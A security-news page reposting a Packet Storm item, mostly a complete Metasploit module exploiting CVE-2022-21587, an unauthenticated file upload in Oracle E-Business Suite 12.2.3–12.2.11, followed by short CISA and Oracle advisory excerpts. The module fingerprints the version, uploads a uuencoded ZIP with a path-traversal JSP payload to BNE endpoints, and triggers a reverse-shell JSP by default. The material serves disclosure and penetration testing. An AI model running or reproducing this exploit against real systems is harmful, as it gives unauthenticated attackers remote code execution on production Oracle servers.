Security
Headlines
HeadlinesLatestCVEs

Headline

Oracle E-Business Suite (EBS) Unauthenticated Arbitrary File Upload

This Metasploit module exploits an unauthenticated arbitrary file upload vulnerability in Oracle Web Applications Desktop Integrator, as shipped with Oracle EBS versions 12.2.3 through to 12.2.11, in order to gain remote code execution as the oracle user.

Packet Storm
#vulnerability#web#linux#js#git#java#oracle#rce#auth#sap
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##require 'rex/zip'class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  prepend Msf::Exploit::Remote::AutoCheck  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::FileDropper  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Oracle E-Business Suite (EBS) Unauthenticated Arbitrary File Upload',        'Description' => %q{          This module exploits an unauthenticated arbitrary file upload vulnerability in Oracle Web Applications          Desktop Integrator, as shipped with Oracle EBS versions 12.2.3 through to 12.2.11, in          order to gain remote code execution as the oracle user.        },        'Author' => [          'sf', # MSF Exploit & Rapid7 Analysis          'HMs', # Python PoC          'l1k3beef', # Original Discoverer        ],        'References' => [          ['CVE', '2022-21587'],          ['URL', 'https://attackerkb.com/topics/Bkij5kK1qK/cve-2022-21587/rapid7-analysis'],          ['URL', 'https://blog.viettelcybersecurity.com/cve-2022-21587-oracle-e-business-suite-unauth-rce/'],          ['URL', 'https://github.com/hieuminhnv/CVE-2022-21587-POC']        ],        'DisclosureDate' => '2022-10-01',        'License' => MSF_LICENSE,        'Platform' => %w[linux],        'Arch' => ARCH_JAVA,        'Privileged' => false, # Code execution as user 'oracle'        'Targets' => [          [            'Oracle EBS on Linux (OVA Install)',            {              'Platform' => 'linux',              'EBSBasePath' => '/u01/install/APPS/fs1/',              'EBSUploadPath' => 'EBSapps/appl/bne/12.0.0/upload/',              'EBSFormsPath' => 'FMW_Home/Oracle_EBS-app1/applications/forms/forms/'            }          ]        ],        'DefaultOptions' => {          'PAYLOAD' => 'java/jsp_shell_reverse_tcp'        },        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION],          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]        }      )    )    register_options(      [        Opt::RPORT(8000)      ]    )  end  def check    res = send_request_cgi(      'method' => 'GET',      'uri' => '/OA_HTML/FrmReportData'    )    return CheckCode::Unknown('Connection failed') unless res    return CheckCode::Unknown unless res.code == 200    match = res.body.match(%r{jsLibs/Common(\d+_\d+_\d+)})    if match && (match.length == 2)      version = Rex::Version.new(match[1].gsub('_', '.'))      if version.between?(Rex::Version.new('12.2.3'), Rex::Version.new('12.2.11'))        return CheckCode::Appears("Oracle EBS version #{version} detected.")      end      return CheckCode::Safe("Oracle EBS version #{version} detected.")    end    CheckCode::Safe  end  def exploit    endpoints = %w[BneViewerXMLService BneDownloadService BneOfflineLOVService BneUploaderService]    target_url = "/OA_HTML/#{endpoints.sample}"    print_status("Targeting the endpoint: #{target_url}")    jsp_name = Rex::Text.rand_text_alpha_lower(3..8) + '.jsp'    jsp_path = '../' * target['EBSUploadPath'].split('/').length    jsp_path << "#{target['EBSFormsPath']}#{jsp_name}"    jsp_absolute_path = "#{target['EBSBasePath']}#{target['EBSFormsPath']}#{jsp_name}"    zip = Rex::Zip::Archive.new    zip.add_file(jsp_path, payload.encoded)    # The ZIP file is expected to be encoded with the binary to text encoding mechanism called uuencode.    # For a detailed description refer to the Rapid7 AttackerKB analysis in the References section of this module.    uue_data = "begin 777 #{Rex::Text.rand_text_alpha_lower(3..8)}.zip\n"    uue_data << [zip.pack].pack('u')    uue_data << "end\n"    uue_name = "#{Rex::Text.rand_text_alpha_lower(3..8)}.uue"    mime = Rex::MIME::Message.new    mime.add_part(uue_data, 'text/plain', nil, %(form-data; name="file"; filename="#{uue_name}"))    register_file_for_cleanup(jsp_absolute_path)    res = send_request_cgi(      {        'method' => 'POST',        'uri' => target_url,        'vars_get' => { 'bne:uueupload' => 'true' },        'encode_params' => true,        'ctype' => "multipart/form-data; boundary=#{mime.bound}",        'data' => mime.to_s      }    )    unless res && res.code == 200 && res.body.include?('bne:text="Cannot be logged in as GUEST."')      fail_with(Failure::UnexpectedReply, 'Failed to upload the payload')    end    print_status('Triggering the payload...')    send_request_cgi(      'method' => 'GET',      'uri' => "/forms/#{jsp_name}"    )  endend

Related news

CISA Alert: Oracle E-Business Suite and SugarCRM Vulnerabilities Under Attack

The U.S. Cybersecurity and Infrastructure Security Agency (CISA) on February 2 added two security flaws to its Known Exploited Vulnerabilities (KEV) Catalog, citing evidence of active exploitation. The first of the two vulnerabilities is CVE-2022-21587 (CVSS score: 9.8), a critical issue impacting versions 12.2.3 to 12.2.11 of the Oracle Web Applications Desktop Integrator product. "Oracle

CVE-2022-21587: Oracle Critical Patch Update Advisory - October 2022

Vulnerability in the Oracle Web Applications Desktop Integrator product of Oracle E-Business Suite (component: Upload). Supported versions that are affected are 12.2.3-12.2.11. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Web Applications Desktop Integrator. Successful attacks of this vulnerability can result in takeover of Oracle Web Applications Desktop Integrator. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

Packet Storm: Latest News

TOR Virtual Network Tunneling Tool 0.4.8.13